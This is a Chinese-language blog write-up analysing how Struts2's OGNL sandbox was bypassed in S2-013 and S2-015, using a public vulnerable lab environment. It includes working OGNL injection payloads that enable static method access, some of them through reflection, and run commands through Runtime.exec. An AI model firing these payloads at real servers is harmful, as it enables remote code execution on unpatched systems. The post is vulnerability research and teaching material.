这篇文章的重点不在于分析漏洞,而是通过漏洞去分析struts2沙箱的防护以及绕过,注意本文的struts2的版本不是漏洞所影响的版本。

然后本文环境是使用的kingkk师傅仓库的https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-015

s2-013

payload

1
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}

这个漏洞的调用堆栈是这样的

这个洞的原因呢是struts2的标签中 <s:a><s:url> 都有一个 includeParams 属性,这个属性可以设置为

1
2
3
none - include no parameters in the URL (default)
get - include only GET parameters in the URL
all - include both GET and POST parameters in the URL

问题出现于这种标签解析的过程注入了OGNL表达式,当为all的时候payload可以get和post,当为get的时候只能利用get请求触发,当为none的时候不会触发。

struts2-2.3.14.1之前

在一开始我们关注allowStaticMethodAccess,因为它默认为false,阻止了我们去调用静态方法,SecurityMemberAccess类中定义了这些操作,然后它继承自DefaultMemberAccess

我们再来了解下什么是_memberAccess,在OgnlContext包里面

然后可以看到调用到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class DefaultMemberAccess
implements MemberAccess
{
public boolean allowPrivateAccess = false;
public boolean allowProtectedAccess = false;
public boolean allowPackageProtectedAccess = false;

public DefaultMemberAccess(boolean allowAllAccess)
{
this(allowAllAccess, allowAllAccess, allowAllAccess);
}

public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
{
this.allowPrivateAccess = allowPrivateAccess;
this.allowProtectedAccess = allowProtectedAccess;
this.allowPackageProtectedAccess = allowPackageProtectedAccess;
}

明显看出这里控制能访问哪些函数,然后有个地方我没有调试清楚_memberAccessSecurityMemberAccess之间是如何是建立起共享属性的,文章https://paper.seebug.org/794/#32-struts-2320写了调试的过程。

但是我们可以知道通过ongl调用全局属性_memberAccess来修改掉allowStaticMethodAccess,那么我们就可以去调用类静态方法。

对于s2-013来说,payload如下

1
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}

S2-015

payload

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

这个漏洞产生于在配置文件中,配置了action通配符为*,并且动态解析的时候,内容作为OGNL注入了

1
2
3
4
5
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>

这个配置可以让我访问*的时候去访问对应的jsp页面

漏洞就出在了跳转jsp页面的动态解析过程,看下调用堆栈

然后不细讲了,看一下关键部分即可,在struts2-core-2.3.14.2.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class

1
2
3
4
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}

这里是初步处理完的跳转,然后进入conditionalParse方法进行二次处理

在后面我们看到熟悉的处理函数

然后经过熟悉的格式处理到达

RCE了,大概漏洞流程是这样,重点还是分析沙箱的绕过。

struts2-2.3.14.1-struts2-2.3.20

在到版本struts2-2.3.14.2时,看diff

将allowStaticMethodAccess添加了final修饰符,删除了setAllowStaticMethodAccess没办法直接修改了,那么如何如何绕过呢,看网上的payload

1
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

在我测试过程中发现xwork.MethodAccessor.denyMethodExecution本来就是false,所以payload为

1
${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action

这个思路是利用反射机制去调用和操作私有域和方法,详情看文章https://www.cnblogs.com/ixenos/p/5699420.html,然后突破了final,然后后面就是构造的回显了

1
output: 123

参考:

1
2
3
4
https://paper.seebug.org/794/#32-struts-2320
https://www.anquanke.com/post/id/161690
https://blog.semmle.com/ognl-apache-struts-exploit-CVE-2018-11776/
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-015